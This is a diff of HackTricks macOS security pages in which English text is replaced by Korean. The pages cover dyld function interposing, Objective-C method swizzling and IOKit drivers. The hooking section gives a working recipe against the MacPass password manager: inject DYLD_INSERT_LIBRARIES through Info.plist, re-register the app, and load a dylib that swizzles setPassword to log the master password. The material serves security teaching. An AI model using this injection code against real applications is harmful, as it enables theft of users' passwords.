that refer to the **original** and the **replacement** functions. +**`__interpose`** 섹션(또는 **`S_INTERPOSING`** 플래그가 있는 섹션)을 포함하는 **dylib**를 생성하여 **원본** 및 **대체** 함수에 대한 **함수 포인터**의 튜플을 포함합니다. -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). +그런 다음 **`DYLD_INSERT_LIBRARIES`**로 dylib를 **주입**합니다(인터포징은 메인 앱이 로드되기 전에 발생해야 합니다). 명백히 [**`DYLD_INSERT_LIBRARIES`** 사용에 적용되는 **제한**이 여기에도 적용됩니다](../macos-proces-abuse/macos-library-injection/#check-restrictions). ### Interpose printf {{#tabs}} {{#tab name="interpose.c"}} - ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { - //va_list args; - //va_start(args, format); - //int ret = vprintf(format, args); - //va_end(args); +//va_list args; +//va_start(args, format); +//int ret = vprintf(format, args); +//va_end(args); - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` - {{#endtab}} {{#tab name="hello.c"}} - ```c //gcc hello.c -o hello #include int main() { - printf("Hello World!\n"); - return 0; +printf("Hello World!\n"); +return 0; } ``` - {{#endtab}} {{#tab name="interpose2.c"}} - ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib @@ -57,26 +52,24 @@ int main() { #include #define DYLD_INTERPOSE(_replacement, _replacee) \ - __attribute__((used)) static struct { \ - const void* replacement; \ - const void* replacee; \ - } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ - (const void*) (unsigned long) &_replacement, \ - (const void*) (unsigned long) &_replacee \ - }; +__attribute__((used)) static struct { \ +const void* replacement; \ +const void* replacee; \ +} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ +(const void*) (unsigned long) &_replacement, \ +(const void*) (unsigned long) &_replacee \ +}; int my_printf(const char *format, ...) { - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } DYLD_INTERPOSE(my_printf,printf); ``` - {{#endtab}} {{#endtabs}} - ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose @@ -84,24 +77,22 @@ Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` - ## Method Swizzling In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +필요한 것은 **객체**, **메서드** 및 **매개변수**입니다. 메서드가 호출될 때 **msg가 전송**되며, 함수 **`objc_msgSend`**를 사용합니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. +객체는 **`someObject`**, 메서드는 **`@selector(method1p1:p2:)`**이며, 인수는 **value1**, **value2**입니다. -Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. +객체 구조를 따라 **메서드 배열**에 접근할 수 있으며, 여기에는 **이름**과 **메서드 코드에 대한 포인터**가 **위치**합니다. > [!CAUTION] -> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump) +> 메서드와 클래스가 이름을 기반으로 접근되기 때문에 이 정보는 바이너리에 저장됩니다. 따라서 `otool -ov ` 또는 [`class-dump `](https://github.com/nygard/class-dump)로 검색할 수 있습니다. ### Accessing the raw methods -It's possible to access the information of the methods such as name, number of params or address like in the following example: - +메서드의 이름, 매개변수 수 또는 주소와 같은 정보를 다음 예제와 같이 접근할 수 있습니다: ```objectivec // gcc -framework Foundation test.m -o test @@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p #import int main() { - // Get class of the variable - NSString* str = @"This is an example"; - Class strClass = [str class]; - NSLog(@"str's Class name: %s", class_getName(strClass)); +// Get class of the variable +NSString* str = @"This is an example"; +Class strClass = [str class]; +NSLog(@"str's Class name: %s", class_getName(strClass)); - // Get parent class of a class - Class strSuper = class_getSuperclass(strClass); - NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); +// Get parent class of a class +Class strSuper = class_getSuperclass(strClass); +NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - // Get information about a method - SEL sel = @selector(length); - NSLog(@"Selector name: %@", NSStringFromSelector(sel)); - Method m = class_getInstanceMethod(strClass,sel); - NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); - NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); +// Get information about a method +SEL sel = @selector(length); +NSLog(@"Selector name: %@", NSStringFromSelector(sel)); +Method m = class_getInstanceMethod(strClass,sel); +NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); +NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - // Iterate through the class hierarchy - NSLog(@"Listing methods:"); - Class currentClass = strClass; - while (currentClass != NULL) { - unsigned int inheritedMethodCount = 0; - Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); +// Iterate through the class hierarchy +NSLog(@"Listing methods:"); +Class currentClass = strClass; +while (currentClass != NULL) { +unsigned int inheritedMethodCount = 0; +Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); +NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - for (unsigned int i = 0; i < inheritedMethodCount; i++) { - Method method = inheritedMethods[i]; - SEL selector = method_getName(method); - const char* methodName = sel_getName(selector); - unsigned long address = (unsigned long)method_getImplementation(m); - NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); - } +for (unsigned int i = 0; i < inheritedMethodCount; i++) { +Method method = inheritedMethods[i]; +SEL selector = method_getName(method); +const char* methodName = sel_getName(selector); +unsigned long address = (unsigned long)method_getImplementation(m); +NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); +} - // Free the memory allocated by class_copyMethodList - free(inheritedMethods); - currentClass = class_getSuperclass(currentClass); - } +// Free the memory allocated by class_copyMethodList +free(inheritedMethods); +currentClass = class_getSuperclass(currentClass); +} - // Other ways to call uppercaseString method - if([str respondsToSelector:@selector(uppercaseString)]) { - NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; - NSLog(@"Uppercase string: %@", uppercaseString); - } +// Other ways to call uppercaseString method +if([str respondsToSelector:@selector(uppercaseString)]) { +NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; +NSLog(@"Uppercase string: %@", uppercaseString); +} - // Using objc_msgSend directly - NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); - NSLog(@"Uppercase string: %@", uppercaseString2); +// Using objc_msgSend directly +NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); +NSLog(@"Uppercase string: %@", uppercaseString2); - // Calling the address directly - IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address - NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp - NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method - NSLog(@"Uppercase string: %@", uppercaseString3); +// Calling the address directly +IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address +NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp +NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method +NSLog(@"Uppercase string: %@", uppercaseString3); - return 0; +return 0; } ``` - ### Method Swizzling with method_exchangeImplementations -The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**. +함수 **`method_exchangeImplementations`**는 **하나의 함수의 구현 주소를 다른 함수로 변경**할 수 있게 해줍니다. > [!CAUTION] -> So when a function is called what is **executed is the other one**. - +> 따라서 함수가 호출될 때 **실행되는 것은 다른 함수**입니다. ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original method - return [self swizzledSubstringFromIndex:from]; +// Call the original method +return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { - // Perform method swizzling - Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); - Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); - method_exchangeImplementations(originalMethod, swizzledMethod); +// Perform method swizzling +Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); +Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); +method_exchangeImplementations(originalMethod, swizzledMethod); - // We changed the address of one method for the other - // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex - // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled +// We changed the address of one method for the other +// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex +// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - return 0; +return 0; } ``` - > [!WARNING] -> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. +> 이 경우 **정상** 메서드의 **구현 코드**가 **메서드** **이름**을 **검증**하면 이 스위즐링을 **감지**하고 실행을 방지할 수 있습니다. > -> The following technique doesn't have this restriction. +> 다음 기술은 이러한 제한이 없습니다. -### Method Swizzling with method_setImplementation +### method_setImplementation을 이용한 메서드 스위즐링 -The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. - -Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. +이전 형식은 서로 다른 두 메서드의 구현을 변경하기 때문에 이상합니다. **`method_setImplementation`** 함수를 사용하면 **다른 메서드의 구현**을 **변경**할 수 있습니다. +새로운 구현에서 호출하기 전에 **원래 구현의 주소를 저장**하는 것을 잊지 마세요. 그렇지 않으면 나중에 그 주소를 찾기가 훨씬 복잡해질 것입니다. ```objectivec #import #import @@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL; @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original implementation using objc_msgSendSuper - return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); +// Call the original implementation using objc_msgSendSuper +return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get the class of the target method - Class stringClass = [NSString class]; +@autoreleasepool { +// Get the class of the target method +Class stringClass = [NSString class]; - // Get the swizzled and original methods - Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); +// Get the swizzled and original methods +Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - // Get the function pointer to the swizzled method's implementation - IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); +// Get the function pointer to the swizzled method's implementation +IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - // Swap the implementations - // It return the now overwritten implementation of the original method to store it - original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); +// Swap the implementations +// It return the now overwritten implementation of the original method to store it +original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - // Set the original implementation back - method_setImplementation(originalMethod, original_substringFromIndex); +// Set the original implementation back +method_setImplementation(originalMethod, original_substringFromIndex); - return 0; - } +return 0; +} } ``` +## 후킹 공격 방법론 -## Hooking Attack Methodology +이 페이지에서는 함수를 후킹하는 다양한 방법에 대해 논의했습니다. 그러나 이들은 **공격을 위해 프로세스 내에서 코드를 실행하는 것**을 포함했습니다. -In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. +이를 위해 가장 쉬운 기술은 [환경 변수를 통한 Dyld 주입 또는 하이재킹](../macos-dyld-hijacking-and-dyld_insert_libraries.md)을 사용하는 것입니다. 그러나 이것은 [Dylib 프로세스 주입](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)을 통해서도 수행될 수 있다고 생각합니다. -In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +그러나 두 옵션 모두 **보호되지 않은** 바이너리/프로세스에 **제한적**입니다. 각 기술을 확인하여 제한 사항에 대해 더 알아보세요. -However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. - -However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. - -So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: +그러나 함수 후킹 공격은 매우 구체적이며, 공격자는 **프로세스 내부에서 민감한 정보를 훔치기 위해** 이를 수행합니다(그렇지 않으면 프로세스 주입 공격을 수행할 것입니다). 이 민감한 정보는 MacPass와 같은 사용자 다운로드 앱에 위치할 수 있습니다. +따라서 공격자 벡터는 취약점을 찾거나 애플리케이션의 서명을 제거하고, 애플리케이션의 Info.plist를 통해 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 주입하여 다음과 같은 내용을 추가하는 것입니다: ```xml LSEnvironment - DYLD_INSERT_LIBRARIES - /Applications/Application.app/Contents/malicious.dylib +DYLD_INSERT_LIBRARIES +/Applications/Application.app/Contents/malicious.dylib ``` - -and then **re-register** the application: - +그리고 **재등록** 애플리케이션: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` - -Add in that library the hooking code to exfiltrate the information: Passwords, messages... +해당 라이브러리에 정보를 유출하는 후킹 코드를 추가하세요: 비밀번호, 메시지... > [!CAUTION] -> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. - -#### Library example +> 최신 버전의 macOS에서는 애플리케이션 바이너리의 **서명을 제거**하고 이전에 실행된 경우, macOS는 **더 이상 애플리케이션을 실행하지 않습니다**. +#### 라이브러리 예제 ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib @@ -331,26 +312,25 @@ static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { - // Function that will log the password and call the original setPassword(pass, file_path) method - NSLog(@"[+] Password is: %@", password); +// Function that will log the password and call the original setPassword(pass, file_path) method +NSLog(@"[+] Password is: %@", password); - // After logging the password call the original method so nothing breaks. - return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); +// After logging the password call the original method so nothing breaks. +return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { - // Get the real method address to not lose it - Class classMPDocument = NSClassFromString(@"MPDocument"); - Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); +// Get the real method address to not lose it +Class classMPDocument = NSClassFromString(@"MPDocument"); +Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - // Make the original method setPassword call the fake implementation one - IMP fake_IMP = (IMP)custom_setPassword; - real_setPassword = method_setImplementation(real_Method, fake_IMP); +// Make the original method setPassword call the fake implementation one +IMP fake_IMP = (IMP)custom_setPassword; +real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` - ## References - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 5381cb0d0..eaf22051c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kit은 XNU 커널에서 **동적 로드된 장치 드라이버**를 처리하는 오픈 소스 객체 지향 **장치 드라이버 프레임워크**입니다. 이는 다양한 하드웨어를 지원하며, 커널에 모듈식 코드를 즉시 추가할 수 있게 해줍니다. -IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**. +IOKit 드라이버는 기본적으로 **커널에서 함수를 내보냅니다**. 이 함수 매개변수 **유형**은 **미리 정의되어** 있으며 검증됩니다. 또한, XPC와 유사하게, IOKit은 **Mach 메시지** 위에 또 다른 레이어입니다. -**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +**IOKit XNU 커널 코드**는 Apple에 의해 [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)에서 오픈 소스로 제공됩니다. 또한, 사용자 공간 IOKit 구성 요소도 오픈 소스입니다 [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). -However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.** - -It's written in **C++**. You can get demangled C++ symbols with: +그러나 **IOKit 드라이버**는 오픈 소스가 아닙니다. 어쨌든, 때때로 드라이버의 릴리스가 디버깅을 쉽게 해주는 기호와 함께 제공될 수 있습니다. [**펌웨어에서 드라이버 확장을 가져오는 방법을 확인하세요**](./#ipsw)**.** +C++로 작성되었습니다. 다음을 사용하여 디망글된 C++ 기호를 얻을 수 있습니다: ```bash # Get demangled symbols nm -C com.apple.driver.AppleJPEGDriver @@ -23,210 +22,193 @@ c++filt __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - > [!CAUTION] -> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with. +> IOKit **노출된 함수**는 클라이언트가 함수를 호출하려고 할 때 **추가 보안 검사를** 수행할 수 있지만, 앱은 일반적으로 IOKit 함수와 상호작용할 수 있는 **샌드박스**에 의해 **제한**됩니다. -## Drivers +## 드라이버 -In macOS they are located in: +macOS에서는 다음 위치에 있습니다: - **`/System/Library/Extensions`** - - KEXT files built into the OS X operating system. +- OS X 운영 체제에 내장된 KEXT 파일. - **`/Library/Extensions`** - - KEXT files installed by 3rd party software +- 3rd 파티 소프트웨어에 의해 설치된 KEXT 파일 -In iOS they are located in: +iOS에서는 다음 위치에 있습니다: - **`/System/Library/Extensions`** - ```bash #Use kextstat to print the loaded drivers kextstat Executing: /usr/bin/kmutil showloaded No variant specified, falling back to release Index Refs Address Size Wired Name (Version) UUID - 1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> - 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> +1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> +10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` +9까지 나열된 드라이버는 **주소 0에 로드됩니다**. 이는 이들이 실제 드라이버가 아니라 **커널의 일부이며 언로드할 수 없음을 의미합니다**. -Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. - -In order to find specific extensions you can use: - +특정 확장을 찾기 위해 다음을 사용할 수 있습니다: ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` - -To load and unload kernel extensions do: - +커널 확장을 로드하고 언로드하려면 다음을 수행하십시오: ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` - ## IORegistry -The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other. - -You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS). +**IORegistry**는 macOS 및 iOS의 IOKit 프레임워크에서 시스템의 하드웨어 구성 및 상태를 나타내는 데이터베이스 역할을 하는 중요한 부분입니다. **시스템에 로드된 모든 하드웨어 및 드라이버를 나타내는 객체의 계층적 컬렉션**이며, 이들 간의 관계를 나타냅니다. +콘솔에서 IORegistry를 검사하기 위해 cli **`ioreg`**를 사용하여 얻을 수 있습니다(특히 iOS에 유용합니다). ```bash ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` - -You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface. +**`IORegistryExplorer`**는 [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/)의 **Xcode Additional Tools**에서 다운로드할 수 있으며, **그래픽** 인터페이스를 통해 **macOS IORegistry**를 검사할 수 있습니다.
-In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer: +IORegistryExplorer에서 "planes"는 IORegistry의 다양한 객체 간의 관계를 조직하고 표시하는 데 사용됩니다. 각 plane은 특정 유형의 관계 또는 시스템의 하드웨어 및 드라이버 구성에 대한 특정 뷰를 나타냅니다. IORegistryExplorer에서 마주칠 수 있는 일반적인 planes는 다음과 같습니다: -1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects. -2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. -3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. -4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. -5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. +1. **IOService Plane**: 가장 일반적인 plane으로, 드라이버와 nubs(드라이버 간의 통신 채널)를 나타내는 서비스 객체를 표시합니다. 이 객체들 간의 제공자-클라이언트 관계를 보여줍니다. +2. **IODeviceTree Plane**: 이 plane은 시스템에 연결된 장치 간의 물리적 연결을 나타냅니다. USB 또는 PCI와 같은 버스를 통해 연결된 장치의 계층 구조를 시각화하는 데 자주 사용됩니다. +3. **IOPower Plane**: 전원 관리 측면에서 객체와 그 관계를 표시합니다. 다른 객체의 전원 상태에 영향을 미치는 객체를 보여줄 수 있어 전원 관련 문제를 디버깅하는 데 유용합니다. +4. **IOUSB Plane**: USB 장치와 그 관계에 특별히 초점을 맞추어 USB 허브와 연결된 장치의 계층 구조를 보여줍니다. +5. **IOAudio Plane**: 이 plane은 시스템 내의 오디오 장치와 그 관계를 나타내는 데 사용됩니다. 6. ... ## Driver Comm Code Example -The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it: - -- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service. -- It then establish a connection calling **`IOServiceOpen`**. -- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned). +다음 코드는 IOKit 서비스 `"YourServiceNameHere"`에 연결하고 선택자 0 내의 함수를 호출합니다. 이를 위해: +- 먼저 **`IOServiceMatching`** 및 **`IOServiceGetMatchingServices`**를 호출하여 서비스를 가져옵니다. +- 그런 다음 **`IOServiceOpen`**을 호출하여 연결을 설정합니다. +- 마지막으로 선택자 0(선택자는 호출하려는 함수에 할당된 번호)로 **`IOConnectCallScalarMethod`**를 사용하여 함수를 호출합니다. ```objectivec #import #import int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get a reference to the service using its name - CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); - if (matchingDict == NULL) { - NSLog(@"Failed to create matching dictionary"); - return -1; - } +@autoreleasepool { +// Get a reference to the service using its name +CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); +if (matchingDict == NULL) { +NSLog(@"Failed to create matching dictionary"); +return -1; +} - // Obtain an iterator over all matching services - io_iterator_t iter; - kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to get matching services"); - return -1; - } +// Obtain an iterator over all matching services +io_iterator_t iter; +kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to get matching services"); +return -1; +} - // Get a reference to the first service (assuming it exists) - io_service_t service = IOIteratorNext(iter); - if (!service) { - NSLog(@"No matching service found"); - IOObjectRelease(iter); - return -1; - } +// Get a reference to the first service (assuming it exists) +io_service_t service = IOIteratorNext(iter); +if (!service) { +NSLog(@"No matching service found"); +IOObjectRelease(iter); +return -1; +} - // Open a connection to the service - io_connect_t connect; - kr = IOServiceOpen(service, mach_task_self(), 0, &connect); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to open service"); - 